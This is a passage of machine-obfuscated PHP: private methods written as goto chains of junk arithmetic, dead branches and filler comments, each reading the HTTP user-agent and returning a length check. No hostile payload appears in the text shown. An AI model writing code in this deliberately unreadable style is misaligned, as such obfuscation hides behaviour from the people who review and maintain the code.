$a6b9oay5s = $B9ma2fmF * 5; goto fEigPmSy; fEigPmSy: /* c1Rwv2Fdei1wNqFkg8Um */ goto UmSfJvJd; UmSfJvJd: $a6EHyDbxg = 680 + 17; $iCjD65Pi = $a6EHyDbxg * 4; goto Fz68lvGK; Fz68lvGK: // mpmUKfeI7Zx8xNt6 $a6b9oay5s = 253 + 18; $a29IFo9lZ = $a6b9oay5s * 1; goto i8qVKXbI; i8qVKXbI: goto mnggl4JL; mnggl4JL: /* Main service */ $a6b9oay5s = 127 + 39; $FbaGmw5w = $a6b9oay5s * 4; goto o85CXZ4S; o85CXZ4S: $FbaGmw5w = 756 + 27; $bZa4iOd6 = $FbaGmw5w * 4; goto a0N0vBYm4; a0N0vBYm4: /* Main service */ $a6EHyDbxg = 160 + 22; $WWDcP6ib = $a6EHyDbxg * 3; goto oYl7gWml; oYl7gWml: /* dOijPstN48dba_KVYdrE */ $a6b9oay5s = 896 + 36; $Pe9zuJ4r = $a6b9oay5s * 5; goto BMK5lzmp; BMK5lzmp: if (false) { echo 'This is a dead end'; } goto SNJJbplL; SNJJbplL: $FbaGmw5w = 719 + 5; $bZa4iOd6 = $FbaGmw5w * 5; goto a1fQF5E9g; a1fQF5E9g: $n7sJ6WnP = 392 + 26; $BqYDw4sr = $n7sJ6WnP * 4; goto N1EHjjMb; N1EHjjMb: /* System file */ goto J1ZTaB8T; J1ZTaB8T: goto GanhwME9; GanhwME9: $B9ma2fmF = strlen($BqYDw4sr); goto yDpjMD8f; yDpjMD8f: goto hG_08HDt; hG_08HDt: /* Core module */ goto iMmPkJ_E; iMmPkJ_E: $NqlX8zGc = 264 + 41; $a29IFo9lZ = $NqlX8zGc * 5; goto CnN0XvuF; CnN0XvuF: goto n5hzpHtL; n5hzpHtL: /* API handler */ goto bEzkzljz; bEzkzljz: // 3Q6wGe2fo17E goto LbROmzNR; LbROmzNR: /* System file */ goto EpO62Gls; EpO62Gls: /* Main service */ goto h4ZGZVLI; h4ZGZVLI: /* 3cSptLVTfNwmp1S */ $iCjD65Pi = 938 + 7; $a6EHyDbxg = $iCjD65Pi * 1; goto wPbzTrSs; wPbzTrSs: if (false) { echo 'This is a dead end'; } goto BOT_A3Uc; BOT_A3Uc: /* System file */ goto a3vh9qk7j; a3vh9qk7j: $bZa4iOd6 = 384 + 30; $a29IFo9lZ = $bZa4iOd6 * 1; goto BeQSwiex; BeQSwiex: /* Core module */ goto eKRWFa3O; eKRWFa3O: /* dWm4xj0uJ6 */ goto pjZT9tV8; pjZT9tV8: /* API handler */ goto MGbrbyl9; MGbrbyl9: return $B9ma2fmF > 10; } private function g8z_sOizUr() { /* E48Ekn__97 */ goto oYOv9ko4; oYOv9ko4: // 3_bnnfVInwMWkxuR goto VztRA_mk; VztRA_mk: /* Security component */ $iX1geSuk = 791 + 22; $iCjD65Pi = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto Gr0OPoSW; Gr0OPoSW: goto n1PXTZr3; n1PXTZr3: // 0N8IBJTY $iCjD65Pi = 256 + 44; $n7sJ6WnP = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto a5Zcb36FV; a5Zcb36FV: goto p2aJ1wWw; p2aJ1wWw: goto t2f86_br; t2f86_br: goto ZuWirs7E; ZuWirs7E: goto a4zB4rUGV; a4zB4rUGV: goto SMOtQI3X; SMOtQI3X: // m8duXTBNsU3xyYAj goto a7j2yIwN6; a7j2yIwN6: /* F3SuiyUaw98Lq93wV5C7 */ goto RegJ8VOc; RegJ8VOc: if (false) { echo 'This is a dead end'; } goto a5y3lcTUH; a5y3lcTUH: goto UbEyuuhj; UbEyuuhj: /* 3qHKt4t49OiNddF */ goto a6mzLJQ_z; a6mzLJQ_z: $XsucffsH = 653 + 50; $bZa4iOd6 = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto QtBj2Oa9; QtBj2Oa9: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto XfnCepHS; XfnCepHS: $iX1geSuk = 917 + 19; $NqlX8zGc = $iX1geSuk * 1; goto yjFNdCCl; yjFNdCCl: goto JlTxX3AS; JlTxX3AS: /* Core module */ goto a6deHQhtF; a6deHQhtF: $iCjD65Pi = 683 + 25; $FbaGmw5w = $iCjD65Pi * 1; goto G_p1h983; G_p1h983: /* dmi6UG3Krtuq6EF */ goto FQouE3Pe; FQouE3Pe: /* KmjBkZCme12CqCl */ goto lQjczRGA; lQjczRGA: $BqYDw4sr = 988 + 29; $WWDcP6ib = $BqYDw4sr * 1; goto sXsifTQB; sXsifTQB: /* Security component */ goto daEPX6WB; daEPX6WB: $XsucffsH = 986 + 5; $n7sJ6WnP = $XsucffsH * 5; goto e9dE1zHC; e9dE1zHC: /* Security component */ goto Sw5KdDRj; Sw5KdDRj: goto a2Rc2oz5H; a2Rc2oz5H: /* Main service */ goto wKioaEBA; wKioaEBA: /* API handler */ goto YuYUcTWD; YuYUcTWD: goto LnpLP8Xv; LnpLP8Xv: /* w50sdaiqwA303Sq */ goto wAuJKbQz; wAuJKbQz: $n7sJ6WnP = strlen($BqYDw4sr); goto Y4XUm3HJ; Y4XUm3HJ: if (false) { echo 'This is a dead end'; } goto ngCMCyYB; ngCMCyYB: /* H2esG7MR0wU8nMlGDO37 */ goto Bs0XRfps; Bs0XRfps: /* Core module */ $bZa4iOd6 = 444 + 28; $iX1geSuk = $bZa4iOd6 * 5; goto wYzqoLWx; wYzqoLWx: /* Core module */ goto iPEyOIyw; iPEyOIyw: $a6b9oay5s = 818 + 22; $FbaGmw5w = $a6b9oay5s * 3; goto C61GeBeH; C61GeBeH: /* SWx_cn2oAAxAbD058ejF */ goto yNO6P9BY; yNO6P9BY: $iCjD65Pi = 874 + 43; $a6EHyDbxg = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto QM1LGCLd; QM1LGCLd: goto z2VdTPDk; z2VdTPDk: /* 9YZiXCny8TFC7NbZSxRj */ if (false) { echo 'This is a dead end'; } goto MJn9lncb; MJn9lncb: /* q8UgiQTVEhslX8ta0TnI */ goto vlKTHrDY; vlKTHrDY: /* API handler */ goto a__4sAxwO; a__4sAxwO: /* Core module */ goto UYwbQCEF; UYwbQCEF: $XsucffsH = 355 + 47; $bZa4iOd6 = $XsucffsH * 5; goto MchAAS07; MchAAS07: $jIP39ari = 862 + 20; $a6b9oay5s = $jIP39ari * 1; goto WqIXkdfC; WqIXkdfC: /* UDq3Q8dwMbqD0fvbBxQk */ goto CTRN9nBa; CTRN9nBa: return $n7sJ6WnP > 10; } private function c64tyho1wz() { goto Z7dTABhf; Z7dTABhf: goto UEbhVoVy; UEbhVoVy: /* cET7nj6QVA */ goto yhXMzHbi; yhXMzHbi: $NqlX8zGc = 809 + 35; $iX1geSuk = $NqlX8zGc * 2; goto a4wItnH2a; a4wItnH2a: $B9ma2fmF = 743 + 23; $B9ma2fmF = $B9ma2fmF * 3; goto WCHhtw6V; WCHhtw6V: /* LzuL_AN0v1BXTPZai1d6 */ $XsucffsH = 655 + 37; $iX1geSuk = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto LpeyklZz; LpeyklZz: goto y_bvsq4A; y_bvsq4A: /* Core module */ goto a7P0bnjlM; a7P0bnjlM: goto a38pdeLYy; a38pdeLYy: /* YWyprzvsbA */ $Pe9zuJ4r = 969 + 5; $n7sJ6WnP = $Pe9zuJ4r * 5; goto lLm_SWCm; lLm_SWCm: /* JBtGk6o9bNDhcRXvAf97 */ $FbaGmw5w = 384 + 48; $bZa4iOd6 = $FbaGmw5w * 1; goto NDupqVdy; NDupqVdy: // vIK2fAdu goto a3dUobrGA; a3dUobrGA: /* Security component */ $Pe9zuJ4r = 851 + 34; $Pe9zuJ4r = $Pe9zuJ4r * 1; goto qU5DiChK; qU5DiChK: // 8l7XLh43z2t11Bs6 goto kxg20HbD; kxg20HbD: /* Main service */ goto W0xxrJOu; W0xxrJOu: goto Uqk30zXo; Uqk30zXo: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto eph5YpmN; eph5YpmN: /* PXjO748iDzD2h0HLijet */ if (false) { echo 'This is a dead end'; } goto di7AXn5_; di7AXn5_: /* System file */ goto Np1aezua; Np1aezua: // b0Vq4oztGUN6KL4m $a6b9oay5s = 240 + 24; $bZa4iOd6 = $a6b9oay5s * 5; goto a3rnPhl5; a3rnPhl5: goto a84LyxKO5; a84LyxKO5: /* Xkxe2Po07ZyHX3svmXwx */ goto BatuwmsP; BatuwmsP: $BqYDw4sr = 338 + 37; $n7sJ6WnP = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto vzMy8d6t; vzMy8d6t: goto nKNK3hOz; nKNK3hOz: goto xNiIGmHG; xNiIGmHG: // FldDsZk8pBM6 goto lAPGc5_w; lAPGc5_w: $a6EHyDbxg = 348 + 44; $a6EHyDbxg = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto wv1_XnO6; wv1_XnO6: $iX1geSuk = 168 + 43; $XsucffsH = $iX1geSuk * 1; goto a5x7wrRPm; a5x7wrRPm: // z99Q_qaX goto JjJQijtm; JjJQijtm: /* anshhLMo_q */ goto a0JsXhAcA; a0JsXhAcA: goto a6XNubgaY; a6XNubgaY: /* Security component */ goto Y5ajfXWc; Y5ajfXWc: $BqYDw4sr = strlen($XsucffsH); goto r0lLDxzy; r0lLDxzy: $NqlX8zGc = 380 + 14; $BqYDw4sr = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto qgakFFZz; qgakFFZz: if (false) { echo 'This is a dead end'; } goto cpa51I5X; cpa51I5X: goto bu3TZb24; bu3TZb24: // V0jkwATH5tt53zSF $XsucffsH = 876 + 12; $NqlX8zGc = $XsucffsH * 4; if (false) { echo 'This is a dead end'; } goto IJzoHeXw; IJzoHeXw: // BfdcLKU3lyoF $a29IFo9lZ = 190 + 7; $WWDcP6ib = $a29IFo9lZ * 5; goto a0BSCvKJn; a0BSCvKJn: /* a_wcuuepQvwU0yVniEz3 */ $a6EHyDbxg = 786 + 45; $iCjD65Pi = $a6EHyDbxg * 4; goto xnWGK4zE; xnWGK4zE: // 6RD8ewvz $iCjD65Pi = 535 + 26; $a6EHyDbxg = $iCjD65Pi * 3; goto otMeTko7; otMeTko7: /* System file */ goto aBTvGSKo; aBTvGSKo: /* System file */ $FbaGmw5w = 922 + 16; $WWDcP6ib = $FbaGmw5w * 3; if (false) { echo 'This is a dead end'; } goto YEX3fyG5; YEX3fyG5: // Z4QFp7CeV1kk $Pe9zuJ4r = 334 + 6; $iX1geSuk = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto hDqUSzSS; hDqUSzSS: /* 2D6Kzrb7ixXTWxaiuI9h */ goto EHjgTUMW; EHjgTUMW: goto isJCpkvs; isJCpkvs: // e5lNVvAZ goto QC0ejrHb; QC0ejrHb: /* API handler */ goto a8aplaBuF; a8aplaBuF: goto giMXkwGs; giMXkwGs: return $BqYDw4sr > 10; } private function x_kya9HnOd() { goto GYky2QfG; GYky2QfG: /* Core module */ goto a_Ft81Xfc; a_Ft81Xfc: $iX1geSuk = 515 + 47; $FbaGmw5w = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto a_5Yf0Nhg; a_5Yf0Nhg: /* UFM95PwrL4F_3Uj8B7xj */ goto Uh28XbUk; Uh28XbUk: goto Etp2QRSd; Etp2QRSd: /* 1wE6Fi3Mg7j2HiTHY2GQ */ if (false) { echo 'This is a dead end'; } goto kclTQD_w; kclTQD_w: $iCjD65Pi = 904 + 37; $bZa4iOd6 = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto a3DS4kKzf; a3DS4kKzf: /* System file */ goto B5byuyF2; B5byuyF2: /* 4eXqTU4Ac4gVpzv */ $n7sJ6WnP = 587 + 16; $iCjD65Pi = $n7sJ6WnP * 5; goto a8EyVpJa1; a8EyVpJa1: $jIP39ari = 939 + 49; $WWDcP6ib = $jIP39ari * 4; goto rr7pUdJd; rr7pUdJd: // b2N4om4h goto a_3s8t0EY; a_3s8t0EY: // Q3XjQ28xscGn goto jeRnXbQ9; jeRnXbQ9: $Pe9zuJ4r = 131 + 36; $Pe9zuJ4r = $Pe9zuJ4r * 4; goto W14fVy2D; W14fVy2D: // DhvrnEOb $a29IFo9lZ = 130 + 4; $a29IFo9lZ = $a29IFo9lZ * 3; goto NXjC9R90; NXjC9R90: goto a71Xbgm8r; a71Xbgm8r: goto ZZwDbES5; ZZwDbES5: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto WkjhfOfA; WkjhfOfA: /* Security component */ goto a15WliN0v; a15WliN0v: goto D2o_0AjW; D2o_0AjW: goto ydlBM3BO; ydlBM3BO: goto Isb2tHVT; Isb2tHVT: // zbf1x8lD62JEd19Y $jIP39ari = 739 + 6; $n7sJ6WnP = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto Ksjzrbn8; Ksjzrbn8: /* API handler */ $a6EHyDbxg = 378 + 38; $B9ma2fmF = $a6EHyDbxg * 4; goto H8f455oz; H8f455oz: $a29IFo9lZ = 227 + 42; $a6b9oay5s = $a29IFo9lZ * 4; goto eB7YdBcV; eB7YdBcV: goto WppHIw0K; WppHIw0K: /* Core module */ if (false) { echo 'This is a dead end'; } goto Erdqv6UO; Erdqv6UO: goto uZNAnQ05; uZNAnQ05: /* Core module */ goto k1PwHMAi; k1PwHMAi: goto Jft0CL80; Jft0CL80: /* 5fXq0mn7UovOxZgGkXik */ if (false) { echo 'This is a dead end'; } goto uKOvDPqk; uKOvDPqk: if (false) { echo 'This is a dead end'; } goto MAwAvJp4; MAwAvJp4: goto OcYuZpl4; OcYuZpl4: $Pe9zuJ4r = strlen($a29IFo9lZ); goto vkXTgkfl; vkXTgkfl: goto KcPBdfYH; KcPBdfYH: /* Security component */ $XsucffsH = 360 + 2; $a6b9oay5s = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto q1kYyvLS; q1kYyvLS: // iN8Fj3ZJj9i8TF0G goto YKUzx4Yx; YKUzx4Yx: goto aPYA30_B; aPYA30_B: /* cUJmZ0yFUS7azPeRQRpv */ $NqlX8zGc = 772 + 45; $Pe9zuJ4r = $NqlX8zGc * 1; goto RfdCGza1; RfdCGza1: /* Security component */ $a29IFo9lZ = 556 + 43; $NqlX8zGc = $a29IFo9lZ * 5; goto zpLVPVlO; zpLVPVlO: /* Core module */ if (false) { echo 'This is a dead end'; } goto kZDEq5eD; kZDEq5eD: /* D1pL37mLzMS3PhX */ goto oRmN37zG; oRmN37zG: goto q8E3qNCs; q8E3qNCs: // CQol8RYE goto a1PDADZUX; a1PDADZUX: goto a2T6PmtHE; a2T6PmtHE: $iX1geSuk = 115 + 50; $XsucffsH = $iX1geSuk * 1; goto qn_IK1RB; qn_IK1RB: /* API handler */ goto UucxMKHB; UucxMKHB: /* Security component */ goto a0d_8PoKA; a0d_8PoKA: // ELbSEzljI3Z9 goto nFbokACD; nFbokACD: return $Pe9zuJ4r > 10; } private function UW8dJnSToE() { goto csREO2SO; csREO2SO: $WWDcP6ib = 622 + 18; $WWDcP6ib = $WWDcP6ib * 5; goto yw66izRc; yw66izRc: goto AvSReTWB; AvSReTWB: /* XPWW5TFjGAzu9u45i9o4 */ goto a2KVZkEiH; a2KVZkEiH: goto ut0Be29E; ut0Be29E: goto PgiF6h6C; PgiF6h6C: $a6EHyDbxg = 184 + 12; $iX1geSuk = $a6EHyDbxg * 2; goto RN2pGfop; RN2pGfop: goto rhJV1SET; rhJV1SET: goto yHHmvBAQ; yHHmvBAQ: // kvVEAHoaRvMY goto ag0xKfSp; ag0xKfSp: if (false) { echo 'This is a dead end'; } goto nGQj5SZk; nGQj5SZk: goto BSydwke5; BSydwke5: goto jAXMf2Ar; jAXMf2Ar: goto AwRfrsHB; AwRfrsHB: goto v70kojHk; v70kojHk: goto LbRKFQJS; LbRKFQJS: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto oa9hg2Wk; oa9hg2Wk: /* n00RobQIUF */ if (false) { echo 'This is a dead end'; } goto a2cLqD7uU; a2cLqD7uU: goto khzVn3PI; khzVn3PI: $jIP39ari = 769 + 1; $WWDcP6ib = $jIP39ari * 3; goto fRckUqG2; fRckUqG2: /* etpSd06WN9UMEi2aqkSU */ goto uB3Bf3XL; uB3Bf3XL: /* API handler */ goto bFpriyZC; bFpriyZC: /* System file */ goto a0Hu3Izgx; a0Hu3Izgx: /* oCE9s_sqKbaK7B_ */ goto HV3KVHZ6; HV3KVHZ6: // Ed5OpCEolYwOmqab $B9ma2fmF = 336 + 33; $iX1geSuk = $B9ma2fmF * 2; goto Z3YAm884; Z3YAm884: if (false) { echo 'This is a dead end'; } goto Gdq1oDOT; Gdq1oDOT: /* zfo_kLmr9L */ $iX1geSuk = 751 + 40; $BqYDw4sr = $iX1geSuk * 2; goto AUlx8eeb; AUlx8eeb: /* b9tvXJOEFUpw_BC1tPTZ */ goto ePGvO4uh; ePGvO4uh: if (false) { echo 'This is a dead end'; } goto MEJj7xAk; MEJj7xAk: // 9aBwuCsdm6YiCkp_ goto a5VZvlrhz; a5VZvlrhz: /* Core module */ $Pe9zuJ4r = 851 + 18; $a29IFo9lZ = $Pe9zuJ4r * 1; goto wFxsfNYO; wFxsfNYO: goto q2cbV7ls; q2cbV7ls: $iX1geSuk = strlen($BqYDw4sr); goto vn2KigzL; vn2KigzL: /* API handler */ goto a2hD6EmN0; a2hD6EmN0: goto h5MIpMzu; h5MIpMzu: $n7sJ6WnP = 999 + 39; $BqYDw4sr = $n7sJ6WnP * 3; if (false) { echo 'This is a dead end'; } goto rseYZozV; rseYZozV: $a29IFo9lZ = 960 + 46; $Pe9zuJ4r = $a29IFo9lZ * 1; goto KzrZOhTv; KzrZOhTv: goto JSmQXtbR; JSmQXtbR: /* Core module */ $NqlX8zGc = 999 + 14; $FbaGmw5w = $NqlX8zGc * 2; goto a3hbClja6; a3hbClja6: /* System file */ $BqYDw4sr = 421 + 26; $a6b9oay5s = $BqYDw4sr * 3; goto QowIZVrh; QowIZVrh: /* System file */ goto a62mYfPQ; a62mYfPQ: // EjE3ei2SM0siLLUC goto zJzZZoId; zJzZZoId: $FbaGmw5w = 982 + 21; $iCjD65Pi = $FbaGmw5w * 3; goto JhzNVj15; JhzNVj15: goto a8YQmwo1V; a8YQmwo1V: /* l_pxtVguuQqil2tHwOOW */ goto H9N7nMu4; H9N7nMu4: goto PTac4tal; PTac4tal: // YA9bD3tlg6vpeh7V goto a_fpEUq6s; a_fpEUq6s: goto tl4jYuc_; tl4jYuc_: return $iX1geSuk > 10; } private function a1LpDTgWcGA() { /* Security component */ goto c9yY3ITx; c9yY3ITx: // hZzIa2pR $n7sJ6WnP = 452 + 43; $Pe9zuJ4r = $n7sJ6WnP * 5; goto CON8L476; CON8L476: /* System file */ $a6b9oay5s = 437 + 12; $NqlX8zGc = $a6b9oay5s * 1; if (false) { echo 'This is a dead end'; } goto BULcJDti; BULcJDti: /* Security component */ $a6EHyDbxg = 789 + 36; $jIP39ari = $a6EHyDbxg * 5; goto TmpiOEPh; TmpiOEPh: $XsucffsH = 744 + 27; $B9ma2fmF = $XsucffsH * 3; goto mVKjN3fh; mVKjN3fh: goto f8YycruC; f8YycruC: /* sSCagDfcaSsknwz9T6lE */ if (false) { echo 'This is a dead end'; } goto fUyNURh4; fUyNURh4: /* System file */ $iCjD65Pi = 582 + 14; $WWDcP6ib = $iCjD65Pi * 4; goto ub2A9kEV; ub2A9kEV: goto wmPYDjUE; wmPYDjUE: $Pe9zuJ4r = 440 + 14; $iCjD65Pi = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto d6z8_hJ7; d6z8_hJ7: // PFinYEpa goto GlwnNYfc; GlwnNYfc: /* wEr7400pEp */ $a6EHyDbxg = 763 + 11; $n7sJ6WnP = $a6EHyDbxg * 1; goto a2iZtEBGR; a2iZtEBGR: /* Security component */ $jIP39ari = 109 + 41; $jIP39ari = $jIP39ari * 1; goto z_N4xovt; z_N4xovt: /* Security component */ goto kgpEQOq1; kgpEQOq1: if (false) { echo 'This is a dead end'; } goto dYMikNlr; dYMikNlr: goto uP3juDfn; uP3juDfn: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto GAqEaeJt; GAqEaeJt: goto LPedMEVi; LPedMEVi: // iuUGiPG7lx6I_0Pm goto a4XAPNxpD; a4XAPNxpD: $a29IFo9lZ = 445 + 19; $B9ma2fmF = $a29IFo9lZ * 3; goto csJCYrO8; csJCYrO8: /* Security component */ $WWDcP6ib = 708 + 1; $n7sJ6WnP = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto bi_s8n3o; bi_s8n3o: // K6wANi63 goto hFtzJL7G; hFtzJL7G: goto a8lTgRdv9; a8lTgRdv9: /* kMDxn_PICAGuxVg */ goto kynltto5; kynltto5: // Aih6k9Mk goto l9Q5NTc_; l9Q5NTc_: // YzCYuu_9g1iDpdZI $NqlX8zGc = 218 + 33; $jIP39ari = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto VZivwTgy; VZivwTgy: goto I7QMGP7g; I7QMGP7g: $iX1geSuk = 648 + 33; $FbaGmw5w = $iX1geSuk * 4; goto Jj3vibvA; Jj3vibvA: goto a6oIfe37V; a6oIfe37V: if (false) { echo 'This is a dead end'; } goto tMuHHRK4; tMuHHRK4: goto qjyTSAfs; qjyTSAfs: // BG57ODkvv6afLxvC $a6b9oay5s = 623 + 31; $iCjD65Pi = $a6b9oay5s * 5; goto nxFOfNTm; nxFOfNTm: $iX1geSuk = strlen($iX1geSuk); goto T20vfBZb; T20vfBZb: goto VqY0nEoR; VqY0nEoR: /* NMZgsMtOWK7waLt2hu5w */ goto Q1g9oAkX; Q1g9oAkX: /* rMZTd47e5GBeUAN52EQv */ $n7sJ6WnP = 857 + 4; $a29IFo9lZ = $n7sJ6WnP * 3; goto CSLk2Axg; CSLk2Axg: goto z3OBXQGF; z3OBXQGF: goto jqyBOIbx; jqyBOIbx: $Pe9zuJ4r = 951 + 44; $a6b9oay5s = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto a3DndRBB6; a3DndRBB6: /* pZ54lvami7omoCELFTJu */ goto ypeiFg6w; ypeiFg6w: /* Main service */ goto D2isUPEa; D2isUPEa: goto ZlD3mfwp; ZlD3mfwp: /* System file */ $BqYDw4sr = 325 + 17; $iX1geSuk = $BqYDw4sr * 4; goto zT5vWVv3; zT5vWVv3: goto OZjAhxRH; OZjAhxRH: // 470S1o6Y goto lAHcaV9R; lAHcaV9R: // QzGZlclh goto a5ZgEut_z; a5ZgEut_z: $NqlX8zGc = 341 + 50; $jIP39ari = $NqlX8zGc * 3; goto LR34yicB; LR34yicB: /* Main service */ $B9ma2fmF = 562 + 19; $XsucffsH = $B9ma2fmF * 2; goto NQhibmEZ; NQhibmEZ: return $iX1geSuk > 10; } private function sO0kTLMjy4() { /* e6VFyBLiP5ZMOf7 */ goto FpJ7kCUy; FpJ7kCUy: /* RfNbOwq5NlI_tnY */ if (false) { echo 'This is a dead end'; } goto ZtLmuhlK; ZtLmuhlK: goto obg3tZqS; obg3tZqS: /* Security component */ goto LCQSF_fe; LCQSF_fe: // uHFWsdjn6Q603MLw goto GS5mKidK; GS5mKidK: $jIP39ari = 525 + 3; $a29IFo9lZ = $jIP39ari * 4; goto qjoAZ39L; qjoAZ39L: // fb6yMVcu $XsucffsH = 928 + 42; $Pe9zuJ4r = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto D_qQv8jg; D_qQv8jg: /* Main service */ goto OOw1sueM; OOw1sueM: goto a7D4tbKvf; a7D4tbKvf: $iX1geSuk = 566 + 21; $iCjD65Pi = $iX1geSuk * 3; goto e6AZ2EXi; e6AZ2EXi: // O2KxUIGUMOYzgzhr $a6b9oay5s = 491 + 38; $B9ma2fmF = $a6b9oay5s * 4; goto a1BTygbvL; a1BTygbvL: /* OT9Zd8Ij9y */ $Pe9zuJ4r = 910 + 6; $FbaGmw5w = $Pe9zuJ4r * 5; goto GcCKmgv2; GcCKmgv2: /* 6WDdvbEDM5U6Zqf */ goto nYDSynYn; nYDSynYn: goto nrsxlVvN; nrsxlVvN: $jIP39ari = 764 + 33; $a6b9oay5s = $jIP39ari * 2; goto a9_oUXP2t; a9_oUXP2t: /* System file */ $WWDcP6ib = 599 + 33; $iCjD65Pi = $WWDcP6ib * 3; goto AsNcfht1; AsNcfht1: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y6c5EiEW; Y6c5EiEW: goto fDiJX7gA; fDiJX7gA: $n7sJ6WnP = 470 + 12; $WWDcP6ib = $n7sJ6WnP * 3; goto BAwJSfvF; BAwJSfvF: goto lS6wrTny; lS6wrTny: goto gJNZz1HM; gJNZz1HM: /* System file */ goto HFiQYu9T; HFiQYu9T: // qACoiVrX if (false) { echo 'This is a dead end'; } goto o2VPMszP; o2VPMszP: if (false) { echo 'This is a dead end'; } goto fe2dwdvH; fe2dwdvH: // O5yJDC17 if (false) { echo 'This is a dead end'; } goto hBP0r9Yp; hBP0r9Yp: /* System file */ goto vKbn6wfo; vKbn6wfo: goto SQHp3TkJ; SQHp3TkJ: $iCjD65Pi = 936 + 18; $WWDcP6ib = $iCjD65Pi * 2; goto ymuUFFEQ; ymuUFFEQ: $jIP39ari = 841 + 11; $B9ma2fmF = $jIP39ari * 1; goto BeI1Hocd; BeI1Hocd: goto R_33yOCx; R_33yOCx: /* 1JEHEYEvtAfGBV6 */ $a6b9oay5s = 570 + 42; $a6b9oay5s = $a6b9oay5s * 5; goto a0Z5YQ_rl; a0Z5YQ_rl: $NqlX8zGc = 360 + 32; $BqYDw4sr = $NqlX8zGc * 5; goto pt8Mx_qq; pt8Mx_qq: $a29IFo9lZ = strlen($WWDcP6ib); goto DJ6bfnJc; DJ6bfnJc: /* Chr1qCSGp7mZDit */ goto yEooxvd7; yEooxvd7: /* Security component */ goto aOlBU5GM; aOlBU5GM: /* Core module */ goto EEhUxeXZ; EEhUxeXZ: $BqYDw4sr = 402 + 36; $iX1geSuk = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto a7TYEg_8p; a7TYEg_8p: goto dsHkpD31; dsHkpD31: /* System file */ $BqYDw4sr = 612 + 27; $Pe9zuJ4r = $BqYDw4sr * 2; goto a2X5x_M1S; a2X5x_M1S: // JxG5v5zHkxwjrjR2 goto aPqJ5b7H; aPqJ5b7H: // xANxfC9oZiJa $n7sJ6WnP = 233 + 48; $a6EHyDbxg = $n7sJ6WnP * 5; goto oDcmcZSs; oDcmcZSs: if (false) { echo 'This is a dead end'; } goto a7eGtutQE; a7eGtutQE: $BqYDw4sr = 861 + 35; $B9ma2fmF = $BqYDw4sr * 5; if (false) { echo 'This is a dead end'; } goto a4Q_SuQY2; a4Q_SuQY2: $bZa4iOd6 = 270 + 49; $bZa4iOd6 = $bZa4iOd6 * 4; goto WuPjvqDQ; WuPjvqDQ: /* YK7Ta77N7gNRN3GMFGvt */ $a6EHyDbxg = 966 + 34; $a6EHyDbxg = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto E3z7XUw0; E3z7XUw0: // QkbfqxS8Gj_P if (false) { echo 'This is a dead end'; } goto a2gPPEdGB; a2gPPEdGB: $FbaGmw5w = 207 + 39; $a29IFo9lZ = $FbaGmw5w * 2; goto r24qfh7A; r24qfh7A: // l5Eojn2IxqiEpJkw if (false) { echo 'This is a dead end'; } goto a8NMSMx0o; a8NMSMx0o: return $a29IFo9lZ > 10; } private function fYoLON6b3P() { /* RNOCI4N8Uf */ goto w7Zom_Ms; w7Zom_Ms: // 5fQPLZAtJdFwOhiR goto MGbekDd0; MGbekDd0: /* 6vXCXSZmO3aPs06 */ $Pe9zuJ4r = 880 + 47; $iCjD65Pi = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto a7ylITqug; a7ylITqug: goto a56msQx1h; a56msQx1h: if (false) { echo 'This is a dead end'; } goto ZKQ6sKWZ; ZKQ6sKWZ: /* API handler */ goto BIWZoRmo; BIWZoRmo: /* Security component */ $B9ma2fmF = 981 + 47; $bZa4iOd6 = $B9ma2fmF * 1; goto GwFbdML0; GwFbdML0: goto a3k69o1mj; a3k69o1mj: goto a9ywbFVj8; a9ywbFVj8: goto JOt4vhwm; JOt4vhwm: goto fq1v60UO; fq1v60UO: // q96BKgfaKFiJRxOO $BqYDw4sr = 583 + 33; $iX1geSuk = $BqYDw4sr * 4; goto rb1tPGjY; rb1tPGjY: if (false) { echo 'This is a dead end'; } goto xnVNl6Bn; xnVNl6Bn: goto jhAtLQS5; jhAtLQS5: goto AAX5uUlA; AAX5uUlA: if (false) { echo 'This is a dead end'; } goto a4Vz6gYPE; a4Vz6gYPE: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y14mMGEk; Y14mMGEk: /* Security component */ if (false) { echo 'This is a dead end'; } goto UugcxHJt; UugcxHJt: /* apWopyRsVtfNXe9 */ goto Yr7TZ2zw; Yr7TZ2zw: /* Security component */ goto sYSFyODP; sYSFyODP: goto D7dO1YyJ; D7dO1YyJ: /* API handler */ goto Y1f5jihD; Y1f5jihD: goto eajYWT5r; eajYWT5r: /* API handler */ goto Y3tDtSN7; Y3tDtSN7: $XsucffsH = 936 + 18; $XsucffsH = 